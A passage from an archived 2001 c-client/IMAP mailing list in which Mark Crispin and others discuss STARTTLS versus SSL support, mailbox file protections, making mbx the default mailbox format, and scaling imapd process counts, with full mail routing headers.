appropriate so that all group members can use that mailbox. I'm not sure where imapd makes this decision, so I did attempt a few things like setting the umask in a script that calls imapd with no luck. This leads me to believe it's internal. Any clues would be appreciated. Thanks. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 15 14:05:26 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 15 May 2001 14:05:26 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FL5PD10605 for ; Tue, 15 May 2001 14:05:25 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue May 15 14:05:24 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FL5Mu04380; Tue, 15 May 2001 14:05:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FL2vX18526; Tue, 15 May 2001 14:02:58 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKpP049168 for ; Tue, 15 May 2001 13:51:26 -0700 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKpMX06328 for ; Tue, 15 May 2001 13:51:22 -0700 Received: from southrelay01.raleigh.ibm.com (southrelay01.raleigh.ibm.com [9.37.3.208]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id QAA97802; Tue, 15 May 2001 16:45:10 -0500 Received: from badlands.lexington.ibm.com (badlands.lexington.ibm.com [9.51.81.11]) by southrelay01.raleigh.ibm.com (8.8.8m3/NCO v4.96) with ESMTP id QAA63784; Tue, 15 May 2001 16:51:18 -0400 Received: from localhost (IDENT:B7MEBhanXi9o7t7qYsJ/w3OerOBFa6MD@localhost [127.0.0.1]) (authenticated (0 bits)) by localhost (8.12.0.Beta8/8.12.0.Beta8/Debian 8.12.0.Beta8-1) with ESMTP id f4FKooMw029645; Tue, 15 May 2001 16:50:51 -0400 Message-Id: Date: Tue, 15 May 2001 16:50:48 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Richard A Nelson To: Mark Crispin Cc: Subject: re: ssl support In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: X-No-Markup: yes X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 15 May 2001, Mark Crispin wrote: > Note that in imap-2001, the SSL support files are now called ssl_unix, > ssl_w2k, etc. > > PHP should not in any way depend upon how c-client is built (whether with or > without SSL). If it does, this is a bug in PHP. hrm, haven't checked in here for a bit... does this mean we now have client ssl support (for pine) ? -- Rick Nelson Life'll kill ya -- Warren Zevon Then you'll be dead -- Life'll kill ya From pinedev@shivax2.cac.washington.edu Tue May 15 14:13:25 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 15 May 2001 14:13:25 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FLDOD14084 for ; Tue, 15 May 2001 14:13:24 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue May 15 14:13:23 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FLDLu04617; Tue, 15 May 2001 14:13:21 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FL8sE23918; Tue, 15 May 2001 14:08:54 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKsk046810 for ; Tue, 15 May 2001 13:54:47 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKsks17649 for ; Tue, 15 May 2001 13:54:46 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKsk129813; Tue, 15 May 2001 13:54:46 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (ajohnson@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKski31715; Tue, 15 May 2001 13:54:46 -0700 Message-Id: Date: Tue, 15 May 2001 13:51:44 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jani Taskinen Cc: Ilya , c-client@u.washington.edu Subject: re: ssl support In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 15 May 2001 22:44:16 +0200 (CEST), Jani Taskinen wrote: > There's something wrong in either the Makefile's of IMAP-2001 or in the > documentation as I tried to compile it with ssl support, but it didn't > succeed cause it tried to include the auth_ssl.c file still.. There is no reference to auth_ssl.c in any imap-2001 Makefiles. auth_ssl.c does not exist in imap-2001. If PHP is referencing auth_ssl.c, it is referencing an internal detail of c-client; this is a bug in PHP that needs to be fixed. PHP should not have any reference to auth_ssl.c From pinedev@shivax2.cac.washington.edu Tue May 15 14:18:47 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 15 May 2001 14:18:46 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FLIjD04798 for ; Tue, 15 May 2001 14:18:45 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue May 15 14:18:44 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FLIgC24168; Tue, 15 May 2001 14:18:42 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FLGLp23138; Tue, 15 May 2001 14:16:21 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKtE056084 for ; Tue, 15 May 2001 13:55:15 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKtEF13399 for ; Tue, 15 May 2001 13:55:14 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKtEo06980; Tue, 15 May 2001 13:55:14 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (chj@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKtDC05898; Tue, 15 May 2001 13:55:13 -0700 Message-Id: Date: Tue, 15 May 2001 13:54:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Richard A Nelson Cc: c-client@u.washington.edu Subject: re: ssl support In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 15 May 2001 16:50:48 -0400 (EDT), Richard A Nelson wrote: > hrm, haven't checked in here for a bit... does this mean we now have > client ssl support (for pine) ? Yes. For over two years. From pinedev@shivax2.cac.washington.edu Tue May 15 14:24:31 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 15 May 2001 14:24:31 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FLOUD17790 for ; Tue, 15 May 2001 14:24:30 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue May 15 14:24:29 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FLORC24408; Tue, 15 May 2001 14:24:27 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FLMKE23106; Tue, 15 May 2001 14:22:20 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FL2o076446 for ; Tue, 15 May 2001 14:02:50 -0700 Received: from e22.nc.us.ibm.com (e22.nc.us.ibm.com [32.97.136.228]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FL2mK00818 for ; Tue, 15 May 2001 14:02:48 -0700 Received: from southrelay01.raleigh.ibm.com (southrelay01.raleigh.ibm.com [9.37.3.208]) by e22.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id QAA16500; Tue, 15 May 2001 16:53:52 -0500 Received: from badlands.lexington.ibm.com (badlands.lexington.ibm.com [9.51.81.11]) by southrelay01.raleigh.ibm.com (8.8.8m3/NCO v4.96) with ESMTP id RAA42220; Tue, 15 May 2001 17:01:24 -0400 Received: from localhost (IDENT:IpaEvEvKYoXZ2WOn8pmbukoayxmqPCoI@localhost [127.0.0.1]) (authenticated (0 bits)) by localhost (8.12.0.Beta8/8.12.0.Beta8/Debian 8.12.0.Beta8-1) with ESMTP id f4FL0VMw031104; Tue, 15 May 2001 17:00:31 -0400 Message-Id: Date: Tue, 15 May 2001 17:00:29 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Richard A Nelson To: Mark Crispin Cc: Subject: re: ssl support In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: X-No-Markup: yes X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 15 May 2001, Mark Crispin wrote: > On Tue, 15 May 2001 16:50:48 -0400 (EDT), Richard A Nelson wrote: > > hrm, haven't checked in here for a bit... does this mean we now have > > client ssl support (for pine) ? > > Yes. For over two years. Wait, let me ask that again... Yes, we've had ssl wrapper support for quite some time, but we've not supported STARTTLS (at least not in the 2000 releases). What I meant to ask was if STARTTLS support had been added... I need to remember STARTTLS ~= SSL for most folk ;) -- Rick Nelson Life'll kill ya -- Warren Zevon Then you'll be dead -- Life'll kill ya From pinedev@shivax2.cac.washington.edu Tue May 15 14:30:32 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 15 May 2001 14:30:32 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FLUTD08814 for ; Tue, 15 May 2001 14:30:30 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue May 15 14:30:28 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FLUQu05262; Tue, 15 May 2001 14:30:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FLSSX19880; Tue, 15 May 2001 14:28:28 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FL7M071418 for ; Tue, 15 May 2001 14:07:22 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FL7MF17953 for ; Tue, 15 May 2001 14:07:22 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FL7Mo09599; Tue, 15 May 2001 14:07:22 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (ken@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FL7MC08736; Tue, 15 May 2001 14:07:22 -0700 Message-Id: Date: Tue, 15 May 2001 14:05:25 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Richard A Nelson Cc: c-client@u.washington.edu Subject: re: ssl support In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 15 May 2001 17:00:29 -0400 (EDT), Richard A Nelson wrote: > What I meant to ask was if STARTTLS support had been added... STARTTLS support is in the imap-2000 server. STARTTLS client support is new in imap-2001. > I need to remember STARTTLS ~= SSL for most folk ;) STARTTLS is TLS, not SSL. There's an important difference. From pinedev@shivax2.cac.washington.edu Tue May 15 15:58:44 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 15 May 2001 15:58:44 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FMwgD12444 for ; Tue, 15 May 2001 15:58:42 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue May 15 15:58:41 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FMwcC27962; Tue, 15 May 2001 15:58:38 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FMrYE30096; Tue, 15 May 2001 15:53:34 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FMSH044184 for ; Tue, 15 May 2001 15:28:17 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FMSGK30592 for ; Tue, 15 May 2001 15:28:16 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FMSGo29050; Tue, 15 May 2001 15:28:16 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (alan@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FMSGi21315; Tue, 15 May 2001 15:28:16 -0700 Message-Id: Date: Tue, 15 May 2001 15:25:32 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Kevin Dwyer Cc: c-client@u.washington.edu Subject: re: Question about the handling of umasks In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN By default, imapd's creates user mailboxes with protection 0600. Certain other mailboxes (e.g. in the #shared/ or #public/ namespaces) are created with other protections. If you want to change any of these, they are defined in env_unix.c. From pinedev@shivax2.cac.washington.edu Wed May 16 08:19:06 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 16 May 2001 08:19:05 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4GFJ4D13428 for ; Wed, 16 May 2001 08:19:04 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed May 16 08:19:04 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GFJ0u30584; Wed, 16 May 2001 08:19:00 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4GFFXE10006; Wed, 16 May 2001 08:15:33 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GFDk076416 for ; Wed, 16 May 2001 08:13:47 -0700 Received: from klepto.isrd.lan (klepto.isrd.net [206.205.246.48]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GFDjs18129 for ; Wed, 16 May 2001 08:13:46 -0700 Received: from localhost (kevin@localhost) by klepto.isrd.lan (8.10.2/8.10.2) with ESMTP id f4GFIN524024 for ; Wed, 16 May 2001 11:18:23 -0400 Message-Id: Date: Wed, 16 May 2001 11:18:22 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Kevin Dwyer To: Subject: mbx as a default MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: klepto.isrd.lan: kevin owned process doing -bs X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sorry to keep bothering the list, but another question arose. I'm not completely sure if this would be better asked in the pine-info list, but I have reason to think it belongs here. Essentially, when I create mailboxes on the IMAP server I want the type to default to mbx, instead of having to type out something like #driver.mbx/~username/mail/newmailbox Is this actually an issue with the setup of Pine? Or can I modify the source of the IMAP server and have it exhibit this behavior. If it is in fact a Pine issue, I'd appreciate any help, but I'll take it to the pine-info list for sure. Thanks. -kevin -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 16 09:28:09 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 16 May 2001 09:28:09 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4GGS8D08644 for ; Wed, 16 May 2001 09:28:08 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed May 16 09:28:07 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GGS4u00570; Wed, 16 May 2001 09:28:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4GGMjp23470; Wed, 16 May 2001 09:22:46 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GGLn056174 for ; Wed, 16 May 2001 09:21:50 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (bruce@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GGLnK15748 for ; Wed, 16 May 2001 09:21:49 -0700 Message-Id: Date: Wed, 16 May 2001 09:19:28 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Kevin Dwyer Cc: c-client@u.washington.edu Subject: re: mbx as a default In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 16 May 2001 11:18:22 -0400 (EDT), Kevin Dwyer wrote: > I'm not > completely sure if this would be better asked in the pine-info list, but I > have reason to think it belongs here. This is the correct place to ask such questions. Thank you! > Essentially, when I create > mailboxes on the IMAP server I want the type to default to mbx, instead of > having to type out something like #driver.mbx/~username/mail/newmailbox The simple answer is to rebuild the IMAP server, after first editing the imap-????/src/osdep/unix/Makefile so that CREATEPROTO=mbxproto instead of unixproto. A more detailed answer can be found in the FAQ in the imap-2001 beta tarball: ftp://ftp.cac.washington.edu/mail/imap.tar.Z From pinedev@shivax2.cac.washington.edu Wed May 16 10:15:27 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 16 May 2001 10:15:26 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4GHFPD11695 for ; Wed, 16 May 2001 10:15:25 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed May 16 10:15:24 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GHFMC21855; Wed, 16 May 2001 10:15:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4GHDRp18372; Wed, 16 May 2001 10:13:27 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GHC6044244 for ; Wed, 16 May 2001 10:12:06 -0700 Received: from ns1.sevenkings.net (ns1.sevenkings.net [216.126.141.50]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GHC5X10933 for ; Wed, 16 May 2001 10:12:05 -0700 Received: from TB900 (5879-176-227.029.popsite.net [216.126.176.227]) (authenticated (0 bits)) by ns1.sevenkings.net (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id f4GHBxB07655 for ; Wed, 16 May 2001 12:11:59 -0500 Message-Id: Date: Wed, 16 May 2001 13:11:56 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John Kelly To: c-client@u.washington.edu Subject: imapd process count MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I read elsewhere that Linux scheduler performance starts degrading badly above 1,000 processes or so. There are some unofficial patches to fix this, but who knows if they will ever appear in the official kernel. That severely limits the number of users that could be served from a single Linux server, since imapd will keep the connection alive for up to 30 minutes before timing out, and many processes could pile up. I suppose you might think of using some kind of hybrid process/threads model like Apache 2.0 to deal with this problem; but OTOH, I also read that the Linux scheduler treats a thread like a process for purposes of scheduling, and thus a threads model would not solve the scheduler performance problem. What, if any, are the design alternatives for reducing the number of processes required to serve a large population of IMAP users? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 16 10:43:20 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 16 May 2001 10:43:20 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4GHhJD21689 for ; Wed, 16 May 2001 10:43:19 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed May 16 10:43:18 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GHhGC22900; Wed, 16 May 2001 10:43:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4GHfDH25602; Wed, 16 May 2001 10:41:13 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GHbl076334 for ; Wed, 16 May 2001 10:37:47 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (nark@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GHblF00502 for ; Wed, 16 May 2001 10:37:47 -0700 Message-Id: Date: Wed, 16 May 2001 10:28:41 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: John Kelly Cc: c-client@u.washington.edu Subject: re: imapd process count In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 16 May 2001 13:11:56 -0400, John Kelly wrote: > I read elsewhere that Linux scheduler performance starts degrading > badly above 1,000 processes or so. There are some unofficial patches > to fix this, but who knows if they will ever appear in the official > kernel. If this is true, this is a serious bug in Linux. 1000 processes is not a particularly large number for a large system. I can't imagine this not getting fixed. However, this shouldn't affect IMAP. An IMAP server runs out of disk I/O bandwidth long before it runs out of CPU. > What, if any, are the design alternatives for reducing the number of > processes required to serve a large population of IMAP users? Don't put all your eggs in one basket. Instead of having a single expensive system, have many cheap systems. Just because the user sees it as "one system" doesn't mean that it's one CPU. The deskmail cluster at the University of Washington consists of a few dozen dedicated IMAP server boxes. We can add new server boxes any shuffle users to them at any time, and use the DNS as a user locator to the currect systems. User "mrc" uses mrc.deskmail.washington.edu, which today happens to be the mailer31.u.washington.edu machine (I know because I just looked). From pinedev@shivax2.cac.washington.edu Wed May 16 11:29:51 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 16 May 2001 11:29:51 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4GIToD12198 for ; Wed, 16 May 2001 11:29:50 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed May 16 11:29:49 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GITlC24629; Wed, 16 May 2001 11:29:47 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4GIR6E32102; Wed, 16 May 2001 11:27:06 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GIJR046212 for ; Wed, 16 May 2001 11:19:27 -0700 Received: from ns1.sevenkings.net (ns1.sevenkings.net [216.126.141.50]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4GIJRK24915 for ; Wed, 16 May 2001 